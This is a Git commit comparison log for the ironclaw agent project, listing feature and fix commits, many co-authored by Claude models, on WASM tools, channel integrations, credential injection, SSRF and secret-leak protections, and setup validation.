Compare commits

..
Author SHA1 Message Date
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
8530f44630 chore: release v0.13.1 (#453)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-02 21:49:13 +00:00
5257fecca1 feat: add Brave Web Search WASM tool (#474)
* feat: add Brave Web Search WASM tool

Add a new WASM tool for searching the web via the Brave Search API.
Follows the same architecture as the GitHub WASM tool with zero-exposure
credential injection (X-Subscription-Token header).

Features:
- Full Brave Search API support (query, count, country, search_lang,
  ui_lang, freshness)
- Input validation on all parameters
- Retry logic for 429/5xx transient errors
- RFC 3986 percent-encoding
- Registry manifest for Extensions tab discovery

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: avoid Vec allocation in is_valid_ui_lang

Use iterator-based destructuring instead of collecting into a Vec,
avoiding a heap allocation in the WASM sandbox.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 13:07:18 -08:00
20073ccf57 fix(web): auto-scroll and Enter key completion for slash command autocomplete (#475)
- Add scrollIntoView to keep arrow-key-selected item visible in dropdown
- Make Enter complete the first matching command when autocomplete is
  visible, instead of requiring explicit arrow-key navigation first

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 13:06:55 -08:00
1a26b1e57f fix: correct download URLs for telegram-mtproto and slack-tool extensions (#470)
The tool manifests pointed to channel bundle URLs (telegram-wasm32-wasip2.tar.gz,
slack-wasm32-wasip2.tar.gz) instead of the tool bundles (telegram-mtproto-...,
slack-tool-...). This caused install to fail because the archive contents
didn't match the expected .wasm filename.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-02 12:37:50 -08:00
906d618681 fix: add type annotation for Vec<String> to fix Windows build (#452)
The compiler cannot infer the element type of `conflicts` on Windows
because all `push` calls are inside `#[cfg(unix)]` blocks which don't
compile on Windows.

Co-authored-by: Claude Sonnet 4.6 (1M context) <[email protected]>
2026-03-02 04:58:55 +00:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
4a7339f4ed chore: release v0.13.0 (#385)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-03-02 03:37:39 +00:00
dc7d9cce34 fix(channels): add host-based credential injection to WASM channel wrapper (#421)
* fix(channels): add host-based credential injection to WASM channel wrapper

The channel WASM wrapper was missing the host-based credential injection
that the tools wrapper implements. The `credentials` block in channel
capabilities files was dead code: Slack's `on_respond` sends requests
with no Authorization header, expecting the host to inject the bot token
based on `host_patterns`, but the host never did.

This caused Slack (and any channel relying on capabilities-declared
credentials) to fail all outbound API calls with `not_authed`.

Changes:
- Add `ResolvedHostCredential` struct mirroring the tools wrapper
- Add `host_credentials` field to `ChannelStoreData`
- Add `inject_host_credentials()` method on `ChannelStoreData`
- Update `redact_credentials()` to also scrub host-injected secret values
- Add `secrets_store` field to `WasmChannel` + `with_secrets_store()` builder
- Add `resolve_channel_host_credentials()` async helper that decrypts
  capabilities-declared credentials before each WASM callback
- Update `create_store()` and all `call_on_*` / `execute_status` /
  `execute_poll` call sites to pre-resolve and pass host credentials
- Fix leak scan ordering: scan runs on WASM-provided values BEFORE host
  credential injection, preventing false-positive blocks on injected
  Bearer tokens (e.g. xoxb- Slack tokens)
- Make `credential_injector` module pub(crate) so channels can reuse
  `inject_credential` and `host_matches_pattern`

Fixes #389, root cause of #413

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(wasm): redact URL-encoded credentials, use url::Url, derive Clone

Address review feedback on PR #421:

1. Security: redact_credentials now scrubs URL-encoded forms of secrets
   in addition to raw values, preventing exfiltration via encoded
   representations in error strings from reqwest
2. Use url::Url::query_pairs_mut() for query parameter injection instead
   of manual string manipulation, improving robustness with malformed URLs
3. Derive Clone on ResolvedHostCredential and simplify the per-tick
   clone in the status repeater loop

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: cargo fmt

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Sprite <[email protected]>
Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-03-01 19:04:37 -08:00
a21dba0ac1 refactor: rename WasmBuildable::repo_url to source_dir (#445)
* refactor: rename WasmBuildable::repo_url to source_dir

The field receives a local directory path (e.g. "tools-src/gmail"), not a
URL. Rename to source_dir to accurately reflect its purpose.

Adds #[serde(alias = "repo_url")] for backwards compatibility with any
previously serialized data.

Closes #329

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: rename extract_url to extract_source

The function can return a local directory path, not just a URL.
Addresses review feedback on PR #445.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:46 -08:00
bb279ad822 fix: pre-validate Cloudflare tunnel token by spawning cloudflared (#446)
* fix: pre-validate Cloudflare tunnel token by spawning cloudflared

After format validation passes, spawn `cloudflared tunnel run` briefly
with a dummy URL and watch stderr for up to 10s. If an error appears
before a connection URL, report it and offer "Save anyway?". This
catches bad tokens during setup instead of at runtime 30s later.

Closes #440

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: tighten cloudflared output matching in live validation

- Check for cfargotunnel.com/trycloudflare.com in success detection
- Use starts_with("err") instead of contains("err") to avoid false
  positives on words like "stderr"

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:35 -08:00
293a700b69 fix: prevent Telegram 409 Conflict on webhook re-registration (#447)
* fix: prevent Telegram 409 Conflict on webhook re-registration

Delete any existing webhook before calling setWebhook in on_start(),
matching the defensive cleanup that polling mode already does. As a
safety net, register_webhook() now retries once on 409 after calling
delete_webhook().

Closes #440

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: deduplicate 409 retry logic in register_webhook

Restructure the match block so the initial request and retry share
a single response-handling code path.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 16:36:26 -08:00
7481aea083 fix: batch of quick fixes (#417, #338, #330, #358, #419, #344) (#428)
- #417: Add Docker auto-start login item hint for macOS in setup wizard
- #338: Add clippy.toml with complexity thresholds for AI-assisted dev
- #330: Add structured FallbackFailed error variant to ExtensionError
- #358: Revoke credential mappings on extension removal (SharedCredentialRegistry)
- #419: Detect conflicting cloudflared services during tunnel setup
- #344: Improve embedding auth failure warning with configuration hint

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 09:01:07 +00:00
Zaki ManianGitHubClaude Opus 4.6Illia Polosukhingemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
fa52df593d fix: persist channel activation state across restarts (#432)
* fix: persist channel activation state across restarts (#392)

Channels activated via the web UI were lost on restart because
active_channel_names was only in memory. Now persist activation state
to the settings store under "activated_channels" and auto-activate
persisted channels on startup.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: log warnings for channel activation load failures

Replace silent catch-all with explicit error logging when
database queries or deserialization fails for activated channels.

Addresses Gemini review feedback on PR #432.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Apply suggestions from code review

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
2026-03-01 08:53:32 +00:00
7b883a02c0 fix: init WASM runtime eagerly regardless of tools directory existence (#401)
* fix: init WASM runtime eagerly regardless of tools directory existence

The WASM tool runtime was only created at startup when both
`wasm.enabled` and `wasm.tools_dir.exists()` were true. This meant
that if the tools directory didn't exist yet (e.g. fresh deploy with
`--no-onboard`), the runtime was set to None and passed to the
ExtensionManager. Extensions installed later via the web UI would
then fail with "WASM runtime not available" because the runtime
could not be retroactively created.

The Wasmtime engine initialization has no dependency on the tools
directory — it only configures the compiler and starts an epoch
ticker thread. The directory is only needed later when loading
.wasm modules. Remove the directory check so the runtime is
available for post-startup extension activation.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* test: add regression tests for WASM runtime eager init

- runtime.rs: test_runtime_creation_without_tools_dir confirms the
  Wasmtime engine initialises without a tools directory on disk
- manager.rs: test_activate_wasm_tool_with_runtime_passes_runtime_check
  verifies activation gets past the runtime check when a runtime is
  provided (fails on missing file, not missing runtime)
- manager.rs: test_activate_wasm_tool_without_runtime_fails_with_runtime_error
  verifies the original error when no runtime is available

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: use idiomatic Result-to-Option conversion for WASM runtime init

Address PR review feedback: replace match block with
.map(Arc::new).map_err(|e| warn!(...)).ok() chain.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: fix formatting in extension manager tests

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:51:05 +00:00
3362081192 fix: add TLS support for PostgreSQL connections (#363) (#427)
All PostgreSQL connection sites hardcoded NoTls, preventing connections
to managed providers that require TLS (AWS RDS, Neon, Supabase, etc.).

- Add tokio-postgres-rustls with rustls + system root certificates
- Add SslMode enum (disable/prefer/require) via DATABASE_SSLMODE env var
- Replace NoTls at all 4 production call sites with TLS-aware pool creation
- Add SslMode::from_env() helper for lightweight CLI tools
- Log native cert loading errors and warn on empty root store

Default mode is Prefer (attempts TLS, matching most managed providers).

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:49:09 +00:00
1f2e8c3b72 fix: scan inbound messages for leaked secrets (#433)
* fix: scan inbound messages for leaked secrets before LLM processing (#393)

Add scan_inbound_for_secrets() to SafetyLayer that reuses the existing
leak detector on user input. Wire it into thread_ops.rs after the policy
check so messages containing API keys or tokens are rejected early,
preventing the LLM from echoing them back and triggering outbound
leak-detection error loops.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: unify inbound secret scan warning messages

Both the detected-secret and error branches now show the same
actionable message guiding users to remove secrets and use the
config system instead.

Addresses Gemini review feedback on PR #433.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:45:27 +00:00
dbf3406bf5 fix: use tailscale funnel --bg for proper tunnel setup (#430)
* fix: use tailscale funnel --bg for proper tunnel setup (#394)

The old command `tailscale funnel http://127.0.0.1:3000` would hang
without establishing a tunnel. The correct invocation is
`tailscale funnel --bg <port>` which configures the tunnel as a
background daemon and exits.

Changes:
- Use `--bg` flag with just the port number
- Run as a one-shot command instead of spawning a child process
- Use `tailscale <cmd> off` to tear down (matches --bg semantics)
- health_check uses stored URL instead of non-existent child PID

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: use local_host parameter and verify tailscale health

Pass full http://host:port URL to tailscale instead of ignoring
the local_host parameter. Health check now verifies tailscale is
actually running via 'tailscale status --json'.

Addresses Gemini review feedback on PR #430.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:44:08 +00:00
2052cddf1d fix: add missing build.sh for Discord and WhatsApp channels (#429)
* fix: add missing build.sh for Discord and WhatsApp channels (#406)

Both channels had full source code in channels-src/ but no build.sh,
so their WASM binaries were never compiled and they didn't appear in
the setup wizard's channel selection list.

Modeled after the existing channels-src/telegram/build.sh.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: guard wasm-tools availability in WASM build scripts

Add command existence check before invoking wasm-tools in discord
and whatsapp build scripts. Prints actionable error message if missing.

Addresses Gemini review feedback on PR #429.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:41:20 +00:00
ec31e83a7d fix: normalize secret names to lowercase for case-insensitive matching (#413) (#431)
The Slack channel capabilities.json declares secret names in lowercase
(slack_bot_token) but the web UI stored them in UPPERCASE
(SLACK_BOT_TOKEN), causing credential injection to fail with
"not_authed".

Changes:
- CreateSecretParams::new() normalizes name to lowercase on creation
- All SecretsStore lookups (get, exists, delete, is_accessible) now
  lowercase the name parameter before querying
- Applied to all three backends: PostgreSQL, libSQL, InMemory
- CredentialInjector::is_secret_allowed() uses case-insensitive
  comparison

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:33:58 +00:00
f62937d482 fix: persist model name to .env so dotted names survive restart (#426)
* fix: persist model name to .env so dotted names survive restart (#400)

The setup wizard saved selected_model to the DB but not to .env.
Since Config::from_env_with_toml() runs before the DB connects, the
model name was lost on restart -- backends fell back to hardcoded
defaults, truncating names like "llama3.2" to "llama3".

- Add LlmBackend::model_env_var() as single source of truth for the
  backend-to-env-var mapping
- Write the model env var in write_bootstrap_env() using the new method
- Add selected_model fallback to all 6 backends (was missing from
  OpenAI, Anthropic, Ollama, and Tinfoil)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: extract resolve_model() helper to reduce duplication

Address review feedback: the env → settings → default model resolution
pattern was repeated across all 6 backends.  Centralise it in a single
LlmConfig::resolve_model() helper.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:32:59 +00:00
914f3cd075 fix(setup): check cloudflared binary and validate tunnel token (#424)
* fix(setup): check cloudflared binary and validate tunnel token (#418)

The Cloudflare tunnel setup accepted tokens blindly without checking if
cloudflared was installed or if the token was valid. Now:

- Checks for cloudflared on PATH before accepting a token, with install
  instructions if missing (user can continue anyway)
- Validates token format (base64-decoded JSON with account/tunnel fields)
  with a warning if malformed (user can override)
- Replaces misleading "will start automatically at boot" with honest
  instructions for starting the tunnel and installing as a service
- Reuses binary_exists() from skills::gating (promoted to pub(crate))
  for cross-platform PATH lookup

Closes #418

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: reuse cloudflared_found instead of redundant binary_exists call

Address review feedback: the binary check result was already stored
in cloudflared_found from earlier in the function.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:31:43 +00:00
e794f39726 fix(setup): validate PostgreSQL version and pgvector availability before migrations (#423)
* fix(setup): validate PostgreSQL version and pgvector before migrations

The setup wizard accepted any DATABASE_URL without checking the server
version or pgvector availability. Users who installed PostgreSQL 14
(or any version < 15) got opaque migration failures. Users without
pgvector installed hit CREATE EXTENSION errors at runtime.

After a successful connection, the wizard now:
1. Queries SHOW server_version and rejects versions below 15
2. Checks pg_available_extensions for the vector extension

Both checks provide actionable error messages with platform-specific
install guidance.

Closes #415
Closes #416

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: extract version constant, fix hex escapes in pgvector message

- Extract MIN_PG_MAJOR_VERSION constant to avoid magic number
- Replace \x20 hex escapes with regular spaces in install guidance

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(setup): use detected PG version in pgvector install instructions

The pgvector install hints were hardcoded for PG 16. Since we already
parse major_version from SHOW server_version, use it dynamically so
users on PG 15 or 17 get correct package names.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:29:49 +00:00
c6bfd18401 fix: guard zsh compdef call to prevent error before compinit (#422)
* fix: guard zsh compdef call to prevent error before compinit

The generated ironclaw.zsh completions file calls compdef without
checking if it exists. Users who source this file before compinit
runs in their .zshrc get "compdef: command not found" on every
terminal open.

Wrap the call with the standard (( $+functions[compdef] )) guard.

Closes #420

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix(completions): apply compdef guard during zsh generation

Instead of hand-patching the generated ironclaw.zsh file (which is
fragile and lost on regeneration), patch the compdef call in the
generation code itself. The Zsh output is post-processed to wrap
`compdef _ironclaw ironclaw` with a `$+functions[compdef]` guard.

Regenerated ironclaw.zsh from the patched code to stay in sync.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-03-01 08:28:32 +00:00
b987464f45 feat(cli): add tool setup command + GitHub setup schema (#438)
* feat(cli): add `tool setup` command + GitHub setup schema

- Add `ironclaw tool setup <name>` CLI command that reads
  `setup.required_secrets` from a tool's capabilities file and
  prompts the user for each secret, saving them to the encrypted
  secrets store. Handles already-configured secrets (ask to replace),
  optional secrets (skip on empty), and hidden input.

- Add `setup.required_secrets` to GitHub tool capabilities file
  with `github_token` — the only WASM tool that was missing it
  after PR #437 added setup schemas to all other tools.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* refactor(cli): extract init_secrets_store helper + add tool name validation

Address PR review feedback:
- Extract duplicated secrets store initialization (~50 lines) from
  auth_tool and setup_tool into shared init_secrets_store() helper
- Add validate_tool_name() to reject path traversal in tool names
  (applies to both auth_tool and setup_tool)

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-03-01 06:55:57 +00:00
98467a553e fix(telegram): remove restart button, validate token on setup (#434)
* fix(web): remove gateway restart button from channel activation failure cards

When a WASM channel (e.g. Telegram) fails to hot-activate after setup,
the extension card showed a "Restart" button that calls POST /api/gateway/restart.
This triggers a process exit and relies on an external supervisor to relaunch,
which doesn't work reliably when running inside Docker.

Remove the Restart button entirely from the failed-activation card for all
channels — Reconfigure is the correct recovery action (re-enter credentials).

Also fix two bugs found during review:
- setServerLogLevel/loadServerLogLevel called .json() on the already-parsed
  object returned by apiFetch, causing a silent TypeError that prevented the
  log level selector from updating
- buildBreadcrumb embedded paths in inline onclick JS strings using escapeHtml,
  which doesn't escape single quotes; switched to data-path attribute pattern
  to avoid JS string injection from paths containing quotes

And simplify: collapse the dead Telegram-specific branch in submitConfigureModal
toast messaging — all channels now show "Configured and activated X" on success.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): propagate token validation errors from on_start

Both webhook and polling mode in on_start() swallowed activation errors
from register_webhook/delete_webhook — using `if let Err(e)` to log
but then returning Ok regardless. This caused a bad bot token to show
as "configured and active" instead of failing activation.

Telegram returns {"ok": true} when deleteWebhook is called with no
existing webhook (idempotent), so any error (e.g. 401 Unauthorized)
genuinely means an invalid token.

The WASM is rebuilt automatically via build.rs on cargo build.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): validate bot token before storing, fix misleading toast

Add upfront GET /getMe validation in save_setup_secrets() before writing
the bot token to the secrets store. This catches bad tokens immediately
for both fresh installs and reconfigures — the reconfigure path
(refresh_active_channel) skips on_start entirely and would never catch
an invalid token without this check. URL-encode the token before
interpolating into the getMe URL path.

Also update the activation-failure toast from "Restart required to
activate" (misleading now that the Restart button is gone) to
"Use Reconfigure to re-enter credentials and activate".

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(telegram): collapse nested if, fix formatting (clippy + fmt)

Collapse `if name == "telegram" { if let Some(...) }` into a single
let-chain condition as suggested by clippy's collapsible_if lint.
Also apply rustfmt line-length fixes in the same block.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:58:45 -08:00
8751a5a9bc feat: add web_fetch built-in tool (#435)
* feat: add web_fetch built-in tool and web-fetch skill

- New web_fetch Rust built-in tool (GET-only, auto-approved, structured
  output: url/title/content/word_count) with HTML to Markdown via Readability
- Full SSRF protection: HTTPS-only, no private IPs, DNS rebinding defence,
  outbound/inbound leak scanning, 5 MB cap, no redirect following
- Rate limited: 30 req/min, 500/hr (same as http tool)
- Protected tool name; registered in register_builtin_tools()
- validate_url made pub(crate) so web_fetch can reuse it from http.rs
- New skills/web-fetch/SKILL.md for agent guidance on web browsing
- Fixes unicode panic in extract_title: use to_ascii_lowercase not
  to_lowercase to preserve byte offsets when indexing original string

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* chore: remove web-fetch skill (tool description is self-sufficient)

The web_fetch tool's schema description already tells the LLM when and
how to use it. A SKILL.md would only add redundant prompt context.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: include HTTP status in web_fetch output

The LLM had no way to distinguish a 404 error page from a 200 success.
Including status in the structured output (alongside url/title/content/
word_count) lets the agent report failures correctly and matches the
behaviour of the http tool which always returns status.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* feat(web_fetch): add Chrome UA and safe redirect following

- Set a Chrome-like User-Agent so sites that block the default reqwest
  string return real content instead of bot-rejection pages.
- Add Accept: text/markdown, text/html header (mirrors OpenClaw).
- Follow up to 3 redirects manually instead of blocking all 3xx.
  Every Location URL is run through validate_url() before the next
  request is sent, so SSRF protection applies to every hop identically
  to how it applies to the original URL.
- Resolve relative Location values against the current URL before
  SSRF-validating them.
- Log each followed hop at DEBUG level.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(web_fetch): expose final_url after redirect following

When redirects are followed, the original `url` field no longer
reflects where the content actually came from. Add `final_url` so
the LLM can cite the canonical source correctly. Equals `url` when
no redirects occurred.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(web_fetch): address review comments and fix CI failures

- Store LeakDetector in WebFetchTool struct (init once in new(), not per execute() call)
- Use self.leak_detector for both outbound scan and redirect re-validation
- Simplify HTML/cfg blocks to reduce duplication (gemini-code-assist suggestion)
- Fix pub use ordering in mod.rs (cargo fmt)
- Add web_fetch to core_registration_covers_expected_tools snapshot test

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:58:22 -08:00
6481448d50 feat(web): DB-backed Jobs tab + scheduler-dispatched local jobs (#436)
* feat(web): DB-backed Jobs tab, scheduler-dispatched local jobs, remove active-jobs-bar

- Remove active-jobs-bar UI element (HTML, CSS, JS polling)
- Move job handlers from server.rs to handlers/jobs.rs
- Remove user_id scoping (single-user gateway)
- Add list_agent_jobs() and agent_job_summary() to Database trait
  (both postgres and libsql backends) for non-sandbox job visibility
- Wire SchedulerSlot into CreateJobTool so execute_local dispatches
  via scheduler (persists to DB + spawns worker) instead of creating
  phantom ContextManager-only jobs
- Update /status and /list slash commands to read from DB for
  consistency with Jobs tab
- Fix worker mark_completed: skip if already terminal or stuck
- Add agent job cancel via DB update in both web handler and slash cmd
- Add Stuck → Completed guard with tracing in worker completion path

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: address PR review comments

- Log warning when get_context fails in worker completion path
- Extract duplicated status-counting logic into AgentJobSummary::add_count()
  helper, used by both postgres and libsql backends

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: Nick Pismenkov <[email protected]>
2026-02-28 19:58:07 -08:00
afb49597ac feat(extensions): add OAuth setup UI for WASM tools + display name labels (#437)
Add setup.required_secrets to tool capabilities.json files so users can
configure OAuth client credentials (Google, Slack, Okta, Telegram) through
the Extensions UI Setup modal instead of environment variables.

- Add ToolSetupSchema/ToolSecretSetupSchema types to capabilities_schema.rs
- Extend get_setup_schema(), save_setup_secrets(), list() to handle WasmTool
- Extract load_tool_capabilities() helper to reduce duplication
- Auto-activate tools after saving setup secrets
- Show display_name labels (Channel/Tool/MCP) in extension cards
- Update button labels: "Setup" when unconfigured, "Reconfigure" when set
- Replace "Set" badge with checkmark in configure modal
- Fix innerHTML XSS pattern in slash autocomplete (use textContent)
- Add tests for ToolSetupSchema parsing and resolve_nested promotion
- Update registry display names (e.g. "Telegram Channel" vs "Telegram Tool")

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 19:57:55 -08:00
9b25e7566c feat(bootstrap): auto-detect libsql when ironclaw.db exists (#399)
* feat(bootstrap): auto-detect libsql when ironclaw.db exists

If DATABASE_BACKEND is unset after loading all env files and
~/.ironclaw/ironclaw.db exists, default to libsql automatically.

Fixes the chicken-and-egg problem on cloud instances where no
DATABASE_URL is configured: users no longer need to prefix every
ironclaw command with DATABASE_BACKEND=libsql.

Priority order: explicit env var > .env > ~/.ironclaw/.env > auto-detect

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix(bootstrap): move env loading to sync main() before tokio runtime

- Fix cargo fmt: wrap three long assert! lines in new tests
- Address set_var data race: load_ironclaw_env() is now called from a
  synchronous fn main() wrapper before the Tokio runtime starts, making
  the set_var call provably safe (no worker threads exist yet)
- Remove the redundant dotenvy::dotenv() + load_ironclaw_env() calls
  from inside command handlers and agent startup (already done pre-tokio)
- Update SAFETY comment to reflect the actual invariant

Addresses Gemini code review comment and cargo fmt CI failure on PR #399.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-28 18:58:33 -08:00
9ce09f71b0 feat(web): slash command autocomplete + /status /list + fix chat input locking (#404)
* feat(web): slash command autocomplete, /status /list /cancel, fix input locking

Backend:
- Add JobStatus, JobList, JobCancel Submission variants to submission.rs
- Parse /status [id], /progress [id], /list, /cancel <id> as control commands
- Dispatch to existing handle_check_status/handle_list_jobs/handle_cancel_job
  handlers via new process_job_status/process_job_list/process_job_cancel methods
- Add 4 parser tests (34 total, all passing)

Web UI:
- Add slash command autocomplete: type / in chat input to see all 18 commands
  with descriptions; arrow-key navigation, Tab/Enter to select, Escape to close
- Remove chat input locking: drop textarea.disabled + sendBtn.disabled so users
  can always type and send (including /interrupt while agent is processing)
- Remove quick-action toolbar buttons (↩↪⏸⊖🗑📋) added in previous session
- Remove dead #chat-status bar (min-height 28px black bar always visible when empty)

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* refactor: address PR review comments

- Remove Submission::JobList variant; parse /list directly as
  JobStatus { job_id: None } (simpler, eliminates redundant enum
  variant, match arm, is_control branch, and wrapper function)
- Cache autocomplete matches in _slashMatches to avoid re-filtering
  SLASH_COMMANDS on every keydown while autocomplete is open

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: Pierre LE GUEN <[email protected]>
2026-02-27 20:59:32 +00:00
601d73d16b feat(routines): deliver notifications to all installed channels (#398)
* feat(routines): deliver notifications to all installed channels

Routine notifications were silently lost because the forwarder didn't
use NotifyConfig fields and WASM channels (Telegram, Slack) had
broadcast() as a no-op. This fixes three issues:

1. send_notification() now includes notify_user/notify_channel in
   metadata so the forwarder can route to specific channels
2. The routine forwarder mirrors the heartbeat pattern: try targeted
   channel first, fall back to broadcast_all
3. WasmChannel implements broadcast() using last-seen message metadata
   (chat_id), with persistence to the settings table so it survives
   restarts. Only writes to DB when the value actually changes.

Heartbeat notifications also benefit from the WASM broadcast fix.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* refactor(wasm): extract do_update_broadcast_metadata to eliminate duplication

The inline metadata-update block in `dispatch_emitted_messages` was
identical to the `update_broadcast_metadata` instance method. Extract
the shared logic into a private free function `do_update_broadcast_metadata`
that both call, so the persistence logic lives in one place.

Addresses Gemini code review comment on PR #398.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
2026-02-27 12:01:32 -08:00
a65b282066 fix: web UI routines tab shows all routines regardless of creating channel (#391)
Routines created via Telegram (or any WASM channel) were invisible in the
web UI because the routines list endpoint filtered by GATEWAY_USER_ID,
which didn't match the Telegram user's ID stored on the routine.

Add list_all_routines() to the RoutineStore trait (both libSQL and
PostgreSQL backends) and use it in the web dashboard handlers so all
routines are visible regardless of which channel created them.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-27 18:34:22 +00:00
Henry ParkandGitHub ddd01a628c feat(web): persist tool calls, restore approvals on thread switch, and UI fixes (#382) 2026-02-27 17:46:37 +04:00
DevBrocoandGitHub a89c5f7348 Improve --help: add detailed about/examples/color, snapshot test (clo… (#371) 2026-02-27 17:45:30 +04:00
ibhagwanandGitHub c592a8f2de feat: add IRONCLAW_BASE_DIR env var with LazyLock caching (#397) 2026-02-27 17:43:43 +04:00
a7c0be7f1b fix: Discord Ed25519 signature verification and capabilities header alias (#148) (#372)
* test: add failing tests for Discord signature validation and capabilities alias (Red phase)

TDD Red phase for #148. Adds 19 tests across 4 categories:
- Category 1: CredentialLocationSchema header_name alias (2 failing)
- Category 2: Ed25519 signature verification (3 failing)
- Category 3: Router signature key management (2 failing)
- Category 5: Discord capabilities public_key setup (1 failing)

All 8 failures are expected — stubs return false/None by design.
Implementation will follow in Green phase.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: add Discord Ed25519 signature verification and capabilities alias (#148)

Implement the Green phase for Discord channel security fixes:

- Add real Ed25519 signature verification in signature.rs using ed25519-dalek
- Add #[serde(alias = "header_name")] to CredentialLocationSchema::Header
  for backward compatibility with external JSON files
- Add signature_keys storage to WasmChannelRouter (register/get/unregister)
- Add discord_public_key to discord.capabilities.json setup.required_secrets
- Add nested capabilities resolution to CapabilitiesFile for channel-level
  JSON compatibility

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* style: address PR #372 review comments

- Fix invalid hex character in test fake_pub_key (router.rs)
- Simplify signature parsing with from_slice/try_from (signature.rs)
- Use idiomatic Option::or for nested capability merging (capabilities_schema.rs)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: enforce signature verification, staleness check, key validation, recursive resolve

Address PR #372 review feedback:

- Wire verify_discord_signature() into webhook_handler with Ed25519
